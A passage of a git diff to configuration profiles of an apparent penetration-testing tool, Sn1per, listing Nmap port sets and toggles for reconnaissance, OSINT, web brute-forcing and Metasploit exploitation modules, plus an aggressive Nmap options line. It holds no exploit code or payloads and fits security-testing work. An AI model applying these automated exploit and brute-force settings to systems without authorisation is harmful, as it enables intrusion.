8,14000,14330,15000-15001,15200,16000,16102,16992,17185,17200,18881,18980,19300,19810,20000,20010,20031,20034,20101,20111,20171,20222,22222,23423,23472,23791,23943,25000,25025,26000,26122,26256,27000,27015,27017,27888,27960,28222,28784,30000,30718,31001,31099,32022,32764,32913,33000,34205,34443,37718,37777,38080,38292,40007,41025,41080,41523-41524,44334,44818,45230,46823-46824,47001-47002,48080,48899,49152,49180,50000-50004,50013,50050,50500-50504,52302,52869,53413,55553,57772,62078,62514,65535,U:53,U:67,U:68,U:69,U:88,U:161,U:162,U:137,U:138,U:139,U:389,U:500,U:520,U:2049" +DEFAULT_TCP_PORTS="1,7,9,13,19,21-23,25,37,42,49,53,67,68,69,79-81,85,88,105,109-111,113,123,135,137-139,143,161,162,179,222,264,384,389,402,407,443-446,465,500,502,512-515,523-524,540,548,554,587,617,623,631,655,689,705,771,783,831,873,888,902,910,912,921,993,995,998-1000,1024,1030,1035,1090,1098-1103,1128-1129,1158,1199,1211,1220,1234,1241,1300,1311,1352,1433-1435,1440,1471,1494,1521,1530,1533,1581-1582,1604,1720,1723,1755,1811,1900,2000-2001,2002,2049,2067,2100,2103,2121,2181,2199,2207,2222,2323,2362,2380-2381,2525,2533,2598,2638,2780,2809,2947,2967,3000,3037,3050,3057,3128,3200,3217,3268,3269,3273,3299,3306,3310,3333,3389,3460,3465,3500,3628,3632,3690,3780,3790,3817,3900,4000,4002,4322,4433,4444-4445,4659,4672,4679,4800,4848,5000,5001,5009,5038,5040,5051,5060-5061,5093,5104,5168,5227,5247,5250,5351,5353,5355,5400,5405,5432-5433,5466,5498,5520-5521,5554-5555,5560,5580,5631-5632,5666,5800,5814,5900-5910,5920,5984-5986,5999-6000,6002,6050,6060,6070,6080,6082,6093,6095,6101,6106,6112,6161,6262,6379,6405,6443,6502-6504,6542,6660-6661,6667,6789,6905,6988,6996,7000-7001,7002,7021,7071,7080,7144,7181,7210,7272,7414,7426,7443,7510,7547,7579-7580,7700,7770,7777-7778,7787,7800-7801,7878-7879,7890,7902,8000-8001,8008,8009,8014,8020,8023,8028,8030,8050-8051,8080-8082,8085-8088,8089,8090-8091,8095,8101,8161,8180,8205,8220,8222,8300,8303,8333,8400,8443-8445,8503,8642,8686,8701,8787,8800,8812,8834,8880,8888-8890,8899,8901-8903,8980,8983,8999-9005,9002,9010,9050,9080-9081,9084,9090,9099-9100,9111,9152,9200,9256,9300,9390-9391,9495,9500,9711,9788,9809-9815,9855,9875,9876,9910,9991,9999-10001,10008,10050-10051,10080,10098-10099,10162,10202-10203,10250,10443,10616,10628,11000-11001,11099,11211,11234,11333,11460,12000,12174,12203,12221,12345,12397,12401,13013,13364,13500,13838,14000,14330,15000-15001,15200,16000,16102,16992,17185,17200,18881,18980,19300,19810,20000,20010,20031,20034,20101,20111,20171,20222,22222,23423,23472,23791,23943,25000,25025,26000,26122,26256,27000,27015,27017,27888,27960,28222,28784,30000,30718,31001,31099,32022,32764,32913,33000,34205,34443,37718,37777,38080,38292,40007,41025,41080,41523-41524,44334,44818,45230,46823-46824,47001-47002,48080,48899,49152,49180,50000-50004,50013,50050,50500-50504,52302,52869,53413,55553,57772,62078,62514,65535" +TOP_1000_PORTS="1,3,4,6,7,9,13,17,19,20,21,22,23,24,25,26,30,32,33,37,42,43,49,53,70,79,80,81,82,83,84,85,88,89,90,99,100,106,109,110,111,113,119,125,135,139,143,144,146,161,163,179,199,211,212,222,254,255,256,259,264,280,301,306,311,340,366,389,406,407,416,417,425,427,443,444,445,458,464,465,481,497,500,512,513,514,515,524,541,543,544,545,548,554,555,563,587,593,616,617,625,631,636,646,648,666,667,668,683,687,691,700,705,711,714,720,722,726,749,765,777,783,787,800,801,808,843,873,880,888,898,900,901,902,903,911,912,981,987,990,992,993,995,999,1000,1001,1002,1007,1009,1010,1011,1021,1022,1023,1024,1025,1026,1027,1028,1029,1030,1031,1032,1033,1034,1035,1036,1037,1038,1039,1040,1041,1042,1043,1044,1045,1046,1047,1048,1049,1050,1051,1052,1053,1054,1055,1056,1057,1058,1059,1060,1061,1062,1063,1064,1065,1066,1067,1068,1069,1070,1071,1072,1073,1074,1075,1076,1077,1078,1079,1080,1081,1082,1083,1084,1085,1086,1087,1088,1089,1090,1091,1092,1093,1094,1095,1096,1097,1098,1099,1100,1102,1104,1105,1106,1107,1108,1110,1111,1112,1113,1114,1117,1119,1121,1122,1123,1124,1126,1130,1131,1132,1137,1138,1141,1145,1147,1148,1149,1151,1152,1154,1163,1164,1165,1166,1169,1174,1175,1183,1185,1186,1187,1192,1198,1199,1201,1213,1216,1217,1218,1233,1234,1236,1244,1247,1248,1259,1271,1272,1277,1287,1296,1300,1301,1309,1310,1311,1322,1328,1334,1352,1417,1433,1434,1443,1455,1461,1494,1500,1501,1503,1521,1524,1533,1556,1580,1583,1594,1600,1641,1658,1666,1687,1688,1700,1717,1718,1719,1720,1721,1723,1755,1761,1782,1783,1801,1805,1812,1839,1840,1862,1863,1864,1875,1900,1914,1935,1947,1971,1972,1974,1984,1998,1999,2000,2001,2002,2003,2004,2005,2006,2007,2008,2009,2010,2013,2020,2021,2022,2030,2033,2034,2035,2038,2040,2041,2042,2043,2045,2046,2047,2048,2049,2065,2068,2099,2100,2103,2105,2106,2107,2111,2119,2121,2126,2135,2144,2160,2161,2170,2179,2190,2191,2196,2200,2222,2251,2260,2288,2301,2323,2366,2381,2382,2383,2393,2394,2399,2401,2492,2500,2522,2525,2557,2601,2602,2604,2605,2607,2608,2638,2701,2702,2710,2717,2718,2725,2800,2809,2811,2869,2875,2909,2910,2920,2967,2968,2998,3000,3001,3003,3005,3006,3007,3011,3013,3017,3030,3031,3052,3071,3077,3128,3168,3211,3221,3260,3261,3268,3269,3283,3300,3301,3306,3322,3323,3324,3325,3333,3351,3367,3369,3370,3371,3372,3389,3390,3404,3476,3493,3517,3527,3546,3551,3580,3659,3689,3690,3703,3737,3766,3784,3800,3801,3809,3814,3826,3827,3828,3851,3869,3871,3878,3880,3889,3905,3914,3918,3920,3945,3971,3986,3995,3998,4000,4001,4002,4003,4004,4005,4006,4045,4111,4125,4126,4129,4224,4242,4279,4321,4343,4443,4444,4445,4446,4449,4550,4567,4662,4848,4899,4900,4998,5000,5001,5002,5003,5004,5009,5030,5033,5050,5051,5054,5060,5061,5080,5087,5100,5101,5102,5120,5190,5200,5214,5221,5222,5225,5226,5269,5280,5298,5357,5405,5414,5431,5432,5440,5500,5510,5544,5550,5555,5560,5566,5631,5633,5666,5678,5679,5718,5730,5800,5801,5802,5810,5811,5815,5822,5825,5850,5859,5862,5877,5900,5901,5902,5903,5904,5906,5907,5910,5911,5915,5922,5925,5950,5952,5959,5960,5961,5962,5963,5987,5988,5989,5998,5999,6000,6001,6002,6003,6004,6005,6006,6007,6009,6025,6059,6100,6101,6106,6112,6123,6129,6156,6346,6389,6502,6510,6543,6547,6565,6566,6567,6580,6646,6666,6667,6668,6669,6689,6692,6699,6779,6788,6789,6792,6839,6881,6901,6969,7000,7001,7002,7004,7007,7019,7025,7070,7100,7103,7106,7200,7201,7402,7435,7443,7496,7512,7625,7627,7676,7741,7777,7778,7800,7911,7920,7921,7937,7938,7999,8000,8001,8002,8007,8008,8009,8010,8011,8021,8022,8031,8042,8045,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8093,8099,8100,8180,8181,8192,8193,8194,8200,8222,8254,8290,8291,8292,8300,8333,8383,8400,8402,8443,8500,8600,8649,8651,8652,8654,8701,8800,8873,8888,8899,8994,9000,9001,9002,9003,9009,9010,9011,9040,9050,9071,9080,9081,9090,9091,9099,9100,9101,9102,9103,9110,9111,9200,9207,9220,9290,9415,9418,9485,9500,9502,9503,9535,9575,9593,9594,9595,9618,9666,9876,9877,9878,9898,9900,9917,9929,9943,9944,9968,9998,9999,10000,10001,10002,10003,10004,10009,10010,10012,10024,10025,10082,10180,10215,10243,10566,10616,10617,10621,10626,10628,10629,10778,11110,11111,11967,12000,12174,12265,12345,13456,13722,13782,13783,14000,14238,14441,14442,15000,15002,15003,15004,15660,15742,16000,16001,16012,16016,16018,16080,16113,16992,16993,17877,17988,18040,18101,18988,19101,19283,19315,19350,19780,19801,19842,20000,20005,20031,20221,20222,20828,21571,22939,23502,24444,24800,25734,25735,26214,27000,27352,27353,27355,27356,27715,28201,30000,30718,30951,31038,31337,32768,32769,32770,32771,32772,32773,32774,32775,32776,32777,32778,32779,32780,32781,32782,32783,32784,32785,33354,33899,34571,34572,34573,35500,38292,40193,40911,41511,42510,44176,44442,44443,44501,45100,48080,49152,49153,49154,49155,49156,49157,49158,49159,49160,49161,49163,49165,49167,49175,49176,49400,49999,50000,50001,50002,50003,50006,50300,50389,50500,50636,50800,51103,51493,52673,52822,52848,52869,54045,54328,55055,55056,55555,55600,56737,56738,57294,57797,58080,60020,60443,61532,61900,62078,63331,64623,64680,65000,65129,65389,27017" +DEFAULT_UDP_PORTS="53,67-69,88,123,135,137-139,161-162,389,445,500,514,520,631,1434,1900,2049,4500,5353,49152" +FULL_PORTSCAN_PORTS="T:1-65535,U:53,U:67-69,U:88,U:123,U:135,U:137-139,U:161-162,U:389,U:445,U:500,U:514,U:520,U:631,U:1434,U:1900,U:2049,U:4500,U:5353,U:49152" + +THREADS="100" + +# NETWORK PLUGINS +NMAP_SCRIPTS="1" +METASPLOIT_EXPLOIT="1" +MSF_LEGACY_WEB_EXPLOITS="0" +SSH_AUDIT="1" +SHOW_MOUNT="1" +RPC_INFO="1" +SMB_ENUM="1" +AMAP="1" +YASUO="1" + +# OSINT PLUGINS +WHOIS="1" +GOOHAK="1" +INURLBR="1" +THEHARVESTER="1" +METAGOOFIL="1" +HUNTERIO="1" +INTODNS="1" +EMAILFORMAT="1" +ULTRATOOLS="1" +URLCRAZY="1" +VHOSTS="1" +H8MAIL="1" + +# ACTIVE WEB PLUGINS +BURP_SCAN="1" +ARACHNI_SCAN="1" +DIRSEARCH="1" +GOBUSTER="0" +NIKTO="1" +BLACKWIDOW="1" +CLUSTERD="1" +WPSCAN="1" +CMSMAP="1" +WAFWOOF="1" +WHATWEB="1" +WIG="1" +SHOCKER="1" +JEXBOSS="1" +WEBTECH="1" +SSL_INSECURE="1" +HTTP_PROBE="1" + +# ACTIVE WEB BRUTE FORCE STAGES +WEB_BRUTE_STEALTHSCAN="1" +WEB_BRUTE_COMMONSCAN="1" +WEB_BRUTE_FULLSCAN="0" +WEB_BRUTE_EXPLOITSCAN="0" +WEB_JAVASCRIPT_ANALYSIS="1" +MAX_JAVASCRIPT_FILES="25" + +# PASSIVE WEB PLUGINS +WAYBACKMACHINE="1" +SSL="1" +PASSIVE_SPIDER="1" +HACKERTARGET="1" +GUA="1" +CUTYCAPT="0" +WEBSCREENSHOT="1" + +# EMAIL PLUGINS +SPOOF_CHECK="1" + +# RECON PLUGINS +SUBHIJACK_CHECK="0" +AQUATONE="0" +SLURP="0" +SUBLIST3R="1" +AMASS="1" +SUBFINDER="1" +DNSCAN="0" +CRTSH="1" +SUBOVER="1" +PROJECT_SONAR="1" +CENSYS_SUBDOMAINS="1" +SUBNET_RETRIEVAL="1" +SUBJACK="1" +ALT_DNS="1" +MASS_DNS="1" +DNSGEN="1" +SHODAN="1" +ASN_CHECK="1" +SPYSE="1" +SUBBRUTE_DNS="1" +GITHUB_SUBDOMAINS="1" +RAPIDDNS="1" \ No newline at end of file diff --git a/conf/webpwn_only b/conf/webpwn_only index 83ead80..c797e11 100644 --- a/conf/webpwn_only +++ b/conf/webpwn_only @@ -16,14 +16,14 @@ AUTOBRUTE="0" FULLNMAPSCAN="0" OSINT="0" ENABLE_AUTO_UPDATES="1" -ONLINE="" +# ONLINE="1" REPORT="1" LOOT="1" -METASPLOIT_IMPORT="0" +SC0PE_VULNERABLITY_SCANNER="1" # SN1PER PROFESSIONAL SETTINGS SNIPER_PRO_CONSOLE_OUTPUT="0" -SN1PER_AUTOLOAD="0" +SN1PER_AUTOLOAD="1" MAX_HOSTS="2000" # DEFAULT BROWSER @@ -41,13 +41,14 @@ OPENVAS_USERNAME="admin" OPENVAS_PASSWORD="" # METASPLOIT SCANNER CONFIG +METASPLOIT_IMPORT="0" MSF_LHOST="127.0.0.1" MSF_LPORT="4444" # SHODAN API KEY SHODAN_API_KEY="" -# API KEYS +# CENSYS API KEYS CENSYS_APP_ID="" CENSYS_API_SECRET="" @@ -58,26 +59,26 @@ HUNTERIO_KEY="" GITHUB_API_KEY="" # SLACK API -SLACK_NOTIFICATIONS="0" SLACK_API_TOKEN="" +SLACK_NOTIFICATIONS="0" SLACK_NOTIFICATIONS_THEHARVESTER="0" SLACK_NOTIFICATIONS_EMAIL_SECURITY="0" -SLACK_NOTIFICATIONS_DOMAINS_NEW="1" -SLACK_NOTIFICATIONS_TAKEOVERS_NEW="1" -SLACK_NOTIFICATIONS_SUBOVER_NEW="1" -SLACK_NOTIFICATIONS_SUBJACK_NEW="1" -SLACK_NOTIFICATIONS_S3_BUCKETS="1" +SLACK_NOTIFICATIONS_DOMAINS_NEW="0" +SLACK_NOTIFICATIONS_TAKEOVERS_NEW="0" +SLACK_NOTIFICATIONS_SUBOVER_NEW="0" +SLACK_NOTIFICATIONS_SUBJACK_NEW="0" +SLACK_NOTIFICATIONS_S3_BUCKETS="0" SLACK_NOTIFICATIONS_SUBNETS="0" -SLACK_NOTIFICATIONS_DIRSEARCH_NEW="1" -SLACK_NOTIFICATIONS_SPIDER_NEW="1" +SLACK_NOTIFICATIONS_DIRSEARCH_NEW="0" +SLACK_NOTIFICATIONS_SPIDER_NEW="0" SLACK_NOTIFICATIONS_WHATWEB="0" -SLACK_NOTIFICATIONS_NMAP="1" -SLACK_NOTIFICATIONS_NMAP_DIFF="1" -SLACK_NOTIFICATIONS_BRUTEFORCE="1" +SLACK_NOTIFICATIONS_NMAP="0" +SLACK_NOTIFICATIONS_NMAP_DIFF="0" +SLACK_NOTIFICATIONS_BRUTEFORCE="0" SLACK_NOTIFICATIONS_WHOIS="0" SLACK_NOTIFICATIONS_METAGOOFIL="0" -SLACK_NOTIFICATIONS_ARACHNI_SCAN="1" -SLACK_NOTIFICATIONS_EMAIL_FORMAT="1" +SLACK_NOTIFICATIONS_ARACHNI_SCAN="0" +SLACK_NOTIFICATIONS_EMAIL_FORMAT="0" # WEB BRUTE FORCE WORDLISTS WEB_BRUTE_STEALTH="$INSTALL_DIR/wordlists/web-brute-stealth.txt" @@ -106,7 +107,7 @@ FLYOVER_MAX_HOSTS="5" FLYOVER_DELAY="10" # NMAP OPTIONS -NMAP_OPTIONS="-sV -Pn -O -v --script-args http.useragent=''" +NMAP_OPTIONS="-sV -Pn -O --osscan-guess --max-os-tries 1 --privileged -n -PE -v --max-retries 3 --min-rtt-timeout 500ms --max-rtt-timeout 3000ms --initial-rtt-timeout 500ms --defeat-rst-ratelimit --min-rate 450 --max-rate 15000 --script-args=vulns.showall --script-timeout 180 --data-length=50 --script-args http.useragent='' --min-parallelism 100" # NMAP PORT CONFIGURATIONS QUICK_PORTS="21,22,23,25,53,80,110,111,135,137,138,139,143,161,162,443,445,512,513,514,993,995,1099,1433,1723,3306,3389,4444,5000,5001,5104,5555,5432,5555,5800,5900,5901,6093,6095,6443,6667,7000,7001,7002,8009,8080,8081,8082,8089,8220,8443,8888,8000,9080,9443,10000,10250,49180" @@ -122,6 +123,7 @@ THREADS="100" # NETWORK PLUGINS NMAP_SCRIPTS="0" METASPLOIT_EXPLOIT="1" +MSF_LEGACY_WEB_EXPLOITS="1" SSH_AUDIT="0" SHOW_MOUNT="0" RPC_INFO="0" @@ -174,6 +176,7 @@ WAYBACKMACHINE="0" SSL="0" PASSIVE_SPIDER="0" HACKERTARGET="0" +GUA="0" CUTYCAPT="0" WEBSCREENSHOT="0" @@ -200,4 +203,5 @@ DNSGEN="0" SHODAN="0" ASN_CHECK="0" SPYSE="0" -SUBBRUTE_DNS="0" \ No newline at end of file +SUBBRUTE_DNS="0" +RAPIDDNS="0" \ No newline at end of file diff --git a/conf/webpwn_only_metasploit_disabled b/conf/webpwn_only_metasploit_disabled new file mode 100644 index 0000000..bcea8e0 --- /dev/null +++ b/conf/webpwn_only_metasploit_disabled @@ -0,0 +1,207 @@ +INSTALL_DIR="/usr/share/sniper" +SNIPER_PRO=$INSTALL_DIR/pro.sh +PLUGINS_DIR="$INSTALL_DIR/plugins" + +# COLORS +OKBLUE='\033[94m' +OKRED='\033[91m' +OKGREEN='\033[92m' +OKORANGE='\033[93m' +RESET='\e[0m' +REGEX='^[0-9]+$' + +# DEFAULT SETTINGS +VERBOSE="0" +AUTOBRUTE="0" +FULLNMAPSCAN="0" +OSINT="0" +ENABLE_AUTO_UPDATES="1" +# ONLINE="1" +REPORT="1" +LOOT="1" +SC0PE_VULNERABLITY_SCANNER="1" + +# SN1PER PROFESSIONAL SETTINGS +SNIPER_PRO_CONSOLE_OUTPUT="0" +SN1PER_AUTOLOAD="1" +MAX_HOSTS="2000" + +# DEFAULT BROWSER +BROWSER="firefox" + +# BURP 2.0 SCANNER CONFIG +BURP_HOST="127.0.0.1" +BURP_PORT="1338" + +# OPENVAS CONFIG +OPENVAS="1" +OPENVAS_HOST="127.0.0.1" +OPENVAS_PORT="9390" +OPENVAS_USERNAME="admin" +OPENVAS_PASSWORD="" + +# METASPLOIT SCANNER CONFIG +METASPLOIT_IMPORT="0" +MSF_LHOST="127.0.0.1" +MSF_LPORT="4444" + +# SHODAN API KEY +SHODAN_API_KEY="" + +# CENSYS API KEYS +CENSYS_APP_ID="" +CENSYS_API_SECRET="" + +# HUNTER.IO API KEY +HUNTERIO_KEY="" + +# GITHUB API KEY +GITHUB_API_KEY="" + +# SLACK API +SLACK_API_TOKEN="" +SLACK_NOTIFICATIONS="0" +SLACK_NOTIFICATIONS_THEHARVESTER="0" +SLACK_NOTIFICATIONS_EMAIL_SECURITY="0" +SLACK_NOTIFICATIONS_DOMAINS_NEW="0" +SLACK_NOTIFICATIONS_TAKEOVERS_NEW="0" +SLACK_NOTIFICATIONS_SUBOVER_NEW="0" +SLACK_NOTIFICATIONS_SUBJACK_NEW="0" +SLACK_NOTIFICATIONS_S3_BUCKETS="0" +SLACK_NOTIFICATIONS_SUBNETS="0" +SLACK_NOTIFICATIONS_DIRSEARCH_NEW="0" +SLACK_NOTIFICATIONS_SPIDER_NEW="0" +SLACK_NOTIFICATIONS_WHATWEB="0" +SLACK_NOTIFICATIONS_NMAP="0" +SLACK_NOTIFICATIONS_NMAP_DIFF="0" +SLACK_NOTIFICATIONS_BRUTEFORCE="0" +SLACK_NOTIFICATIONS_WHOIS="0" +SLACK_NOTIFICATIONS_METAGOOFIL="0" +SLACK_NOTIFICATIONS_ARACHNI_SCAN="0" +SLACK_NOTIFICATIONS_EMAIL_FORMAT="0" + +# WEB BRUTE FORCE WORDLISTS +WEB_BRUTE_STEALTH="$INSTALL_DIR/wordlists/web-brute-stealth.txt" +WEB_BRUTE_COMMON="$INSTALL_DIR/wordlists/web-brute-common.txt" +WEB_BRUTE_FULL="$INSTALL_DIR/wordlists/web-brute-full.txt" +WEB_BRUTE_EXPLOITS="$INSTALL_DIR/wordlists/web-brute-exploits.txt" +WEB_BRUTE_EXTENSIONS="htm,html,asp,aspx,php,jsp,action,do,war,cfm,page,bak,cfg,sql,txt,md,zip,jar,tar.gz,conf,swp,xml,ini,yml,cgi,pl,js,json" + +# DOMAIN WORDLISTS +DOMAINS_QUICK="$INSTALL_DIR/wordlists/domains-quick.txt" +#DOMAINS_DEFAULT="$INSTALL_DIR/wordlists/domains-default.txt" +DOMAINS_FULL="$INSTALL_DIR/wordlists/domains-all.txt" +DOMAINS_DEFAULT="$INSTALL_DIR/wordlists/domains-extreme.txt" + +# DEFAULT USER/PASS WORDLISTS +USER_FILE="/usr/share/brutex/wordlists/simple-users.txt" +PASS_FILE="/usr/share/brutex/wordlists/password.lst" +DNS_FILE="/usr/share/brutex/wordlists/namelist.txt" + +# TOOL DIRECTORIES +THEHARVESTER_PATH="/usr/share/theharvester/theharvester.py" +SAMRDUMP="/usr/share/sniper/bin/samrdump.py" + +# FLYOVER MODE TUNING +FLYOVER_MAX_HOSTS="5" +FLYOVER_DELAY="10" + +# NMAP OPTIONS +NMAP_OPTIONS="--script-args http.useragent=''" + +# NMAP PORT CONFIGURATIONS +QUICK_PORTS="21,22,23,25,53,80,110,111,135,137,138,139,143,161,162,443,445,512,513,514,993,995,1099,1433,1723,3306,3389,4444,5000,5001,5104,5555,5432,5555,5800,5900,5901,6093,6095,6443,6667,7000,7001,7002,8009,8080,8081,8082,8089,8220,8443,8888,8000,9080,9443,10000,10250,49180" +DEFAULT_MSF_PORTS="1-1040,1080,1125,1194,1214,1220,1352,1433,1500,1503,1521,1524,1526,1720,1723,1731,1812-1813,1953,1959,2000,2002,2030,2049,2100,2200,2222,2301,2379,2381,2401,2433,2456,2500,2556,2745,3000-3001,3121,3127-3128,3230-3235,3268-3269,3306,3339,3389,3460,3527,4000,4045,4100,4242,4430,4443,4661-4662,4711,4786,4848,5000,5010,5059-5061,5101,5180,5190-5193,5250,5432,5554-5555,5560,5566,5631,5678,5800-5803,5900-6009,6101,6106,6112,6346,6379,6588,6777,7001-7002,7070,7100,7510,7777-7778,8000-8001,8004-8005,8008,8080-8083,8098-8100,8180-8181,8383-8384,8443-8444,8470-8480,8500,8866,8888,9090,9100-9102,9343,9470-9476,9480,9495,9996,9999-10000,10025,10168,11211,12345-12346,13659,16080,18181-18185,18207-18208,18231-18232,18983,19190-19191,20034,22226,27017,27374,27665,31337,32764,32771,33333,49152,49400,50000,51080,51443,54320,60000,60148,63148,U:7,9,11,13,17,19,37,53,67-69,88,111,123,135,137-139,161-162,177,213,259-260,445,464,500,514,520,523,623,631,749-751,1194,1434,1701,1812-1813,1900,2049,2746,3230-3235,3401,4045,4500,4665-4666,4672,5059-5061,5351,5353,5632,6429,7777,9100-9102,11211,17185,18233,23945,26000-26004,26198,27015-27030,27444,27960-27964,30720-30724,31337,31400,32771,34555,44400,47545,49152,54321" +DEFAULT_PORTS="1,7,9,13,19,21-23,25,37,42,49,53,67,68,69,79-81,85,88,105,109-111,113,123,135,137-139,143,161,162,179,222,264,384,389,402,407,443-446,465,500,502,512-515,523-524,540,548,554,587,617,623,631,655,689,705,771,783,831,873,888,902,910,912,921,993,995,998-1000,1024,1030,1035,1090,1098-1103,1128-1129,1158,1199,1211,1220,1234,1241,1300,1311,1352,1433-1435,1440,1471,1494,1521,1530,1533,1581-1582,1604,1720,1723,1755,1811,1900,2000-2001,2002,2049,2067,2100,2103,2121,2181,2199,2207,2222,2323,2362,2380-2381,2525,2533,2598,2638,2780,2809,2947,2967,3000,3037,3050,3057,3128,3200,3217,3268,3269,3273,3299,3306,3310,3333,3389,3460,3465,3500,3628,3632,3690,3780,3790,3817,3900,4000,4002,4322,4433,4444-4445,4659,4672,4679,4800,4848,5000,5001,5009,5038,5040,5051,5060-5061,5093,5104,5168,5227,5247,5250,5351,5353,5355,5400,5405,5432-5433,5466,5498,5520-5521,5554-5555,5560,5580,5631-5632,5666,5800,5814,5900-5910,5920,5984-5986,5999-6000,6002,6050,6060,6070,6080,6082,6093,6095,6101,6106,6112,6161,6262,6379,6405,6443,6502-6504,6542,6660-6661,6667,6789,6905,6988,6996,7000-7001,7002,7021,7071,7080,7144,7181,7210,7272,7414,7426,7443,7510,7547,7579-7580,7700,7770,7777-7778,7787,7800-7801,7878-7879,7890,7902,8000-8001,8008,8009,8014,8020,8023,8028,8030,8050-8051,8080-8082,8085-8088,8089,8090-8091,8095,8101,8161,8180,8205,8220,8222,8300,8303,8333,8400,8443-8445,8503,8642,8686,8701,8787,8800,8812,8834,8880,8888-8890,8899,8901-8903,8980,8983,8999-9005,9002,9010,9050,9080-9081,9084,9090,9099-9100,9111,9152,9200,9256,9300,9390-9391,9495,9500,9711,9788,9809-9815,9855,9875,9876,9910,9991,9999-10001,10008,10050-10051,10080,10098-10099,10162,10202-10203,10250,10443,10616,10628,11000-11001,11099,11211,11234,11333,11460,12000,12174,12203,12221,12345,12397,12401,13013,13364,13500,13838,14000,14330,15000-15001,15200,16000,16102,16992,17185,17200,18881,18980,19300,19810,20000,20010,20031,20034,20101,20111,20171,20222,22222,23423,23472,23791,23943,25000,25025,26000,26122,26256,27000,27015,27017,27888,27960,28222,28784,30000,30718,31001,31099,32022,32764,32913,33000,34205,34443,37718,37777,38080,38292,40007,41025,41080,41523-41524,44334,44818,45230,46823-46824,47001-47002,48080,48899,49152,49180,50000-50004,50013,50050,50500-50504,52302,52869,53413,55553,57772,62078,62514,65535,U:53,U:67,U:68,U:69,U:88,U:161,U:162,U:137,U:138,U:139,U:389,U:500,U:520,U:2049" +DEFAULT_TCP_PORTS="1,7,9,13,19,21-23,25,37,42,49,53,67,68,69,79-81,85,88,105,109-111,113,123,135,137-139,143,161,162,179,222,264,384,389,402,407,443-446,465,500,502,512-515,523-524,540,548,554,587,617,623,631,655,689,705,771,783,831,873,888,902,910,912,921,993,995,998-1000,1024,1030,1035,1090,1098-1103,1128-1129,1158,1199,1211,1220,1234,1241,1300,1311,1352,1433-1435,1440,1471,1494,1521,1530,1533,1581-1582,1604,1720,1723,1755,1811,1900,2000-2001,2002,2049,2067,2100,2103,2121,2181,2199,2207,2222,2323,2362,2380-2381,2525,2533,2598,2638,2780,2809,2947,2967,3000,3037,3050,3057,3128,3200,3217,3268,3269,3273,3299,3306,3310,3333,3389,3460,3465,3500,3628,3632,3690,3780,3790,3817,3900,4000,4002,4322,4433,4444-4445,4659,4672,4679,4800,4848,5000,5001,5009,5038,5040,5051,5060-5061,5093,5104,5168,5227,5247,5250,5351,5353,5355,5400,5405,5432-5433,5466,5498,5520-5521,5554-5555,5560,5580,5631-5632,5666,5800,5814,5900-5910,5920,5984-5986,5999-6000,6002,6050,6060,6070,6080,6082,6093,6095,6101,6106,6112,6161,6262,6379,6405,6443,6502-6504,6542,6660-6661,6667,6789,6905,6988,6996,7000-7001,7002,7021,7071,7080,7144,7181,7210,7272,7414,7426,7443,7510,7547,7579-7580,7700,7770,7777-7778,7787,7800-7801,7878-7879,7890,7902,8000-8001,8008,8009,8014,8020,8023,8028,8030,8050-8051,8080-8082,8085-8088,8089,8090-8091,8095,8101,8161,8180,8205,8220,8222,8300,8303,8333,8400,8443-8445,8503,8642,8686,8701,8787,8800,8812,8834,8880,8888-8890,8899,8901-8903,8980,8983,8999-9005,9002,9010,9050,9080-9081,9084,9090,9099-9100,9111,9152,9200,9256,9300,9390-9391,9495,9500,9711,9788,9809-9815,9855,9875,9876,9910,9991,9999-10001,10008,10050-10051,10080,10098-10099,10162,10202-10203,10250,10443,10616,10628,11000-11001,11099,11211,11234,11333,11460,12000,12174,12203,12221,12345,12397,12401,13013,13364,13500,13838,14000,14330,15000-15001,15200,16000,16102,16992,17185,17200,18881,18980,19300,19810,20000,20010,20031,20034,20101,20111,20171,20222,22222,23423,23472,23791,23943,25000,25025,26000,26122,26256,27000,27015,27017,27888,27960,28222,28784,30000,30718,31001,31099,32022,32764,32913,33000,34205,34443,37718,37777,38080,38292,40007,41025,41080,41523-41524,44334,44818,45230,46823-46824,47001-47002,48080,48899,49152,49180,50000-50004,50013,50050,50500-50504,52302,52869,53413,55553,57772,62078,62514,65535" +TOP_1000_PORTS="1,3,4,6,7,9,13,17,19,20,21,22,23,24,25,26,30,32,33,37,42,43,49,53,70,79,80,81,82,83,84,85,88,89,90,99,100,106,109,110,111,113,119,125,135,139,143,144,146,161,163,179,199,211,212,222,254,255,256,259,264,280,301,306,311,340,366,389,406,407,416,417,425,427,443,444,445,458,464,465,481,497,500,512,513,514,515,524,541,543,544,545,548,554,555,563,587,593,616,617,625,631,636,646,648,666,667,668,683,687,691,700,705,711,714,720,722,726,749,765,777,783,787,800,801,808,843,873,880,888,898,900,901,902,903,911,912,981,987,990,992,993,995,999,1000,1001,1002,1007,1009,1010,1011,1021,1022,1023,1024,1025,1026,1027,1028,1029,1030,1031,1032,1033,1034,1035,1036,1037,1038,1039,1040,1041,1042,1043,1044,1045,1046,1047,1048,1049,1050,1051,1052,1053,1054,1055,1056,1057,1058,1059,1060,1061,1062,1063,1064,1065,1066,1067,1068,1069,1070,1071,1072,1073,1074,1075,1076,1077,1078,1079,1080,1081,1082,1083,1084,1085,1086,1087,1088,1089,1090,1091,1092,1093,1094,1095,1096,1097,1098,1099,1100,1102,1104,1105,1106,1107,1108,1110,1111,1112,1113,1114,1117,1119,1121,1122,1123,1124,1126,1130,1131,1132,1137,1138,1141,1145,1147,1148,1149,1151,1152,1154,1163,1164,1165,1166,1169,1174,1175,1183,1185,1186,1187,1192,1198,1199,1201,1213,1216,1217,1218,1233,1234,1236,1244,1247,1248,1259,1271,1272,1277,1287,1296,1300,1301,1309,1310,1311,1322,1328,1334,1352,1417,1433,1434,1443,1455,1461,1494,1500,1501,1503,1521,1524,1533,1556,1580,1583,1594,1600,1641,1658,1666,1687,1688,1700,1717,1718,1719,1720,1721,1723,1755,1761,1782,1783,1801,1805,1812,1839,1840,1862,1863,1864,1875,1900,1914,1935,1947,1971,1972,1974,1984,1998,1999,2000,2001,2002,2003,2004,2005,2006,2007,2008,2009,2010,2013,2020,2021,2022,2030,2033,2034,2035,2038,2040,2041,2042,2043,2045,2046,2047,2048,2049,2065,2068,2099,2100,2103,2105,2106,2107,2111,2119,2121,2126,2135,2144,2160,2161,2170,2179,2190,2191,2196,2200,2222,2251,2260,2288,2301,2323,2366,2381,2382,2383,2393,2394,2399,2401,2492,2500,2522,2525,2557,2601,2602,2604,2605,2607,2608,2638,2701,2702,2710,2717,2718,2725,2800,2809,2811,2869,2875,2909,2910,2920,2967,2968,2998,3000,3001,3003,3005,3006,3007,3011,3013,3017,3030,3031,3052,3071,3077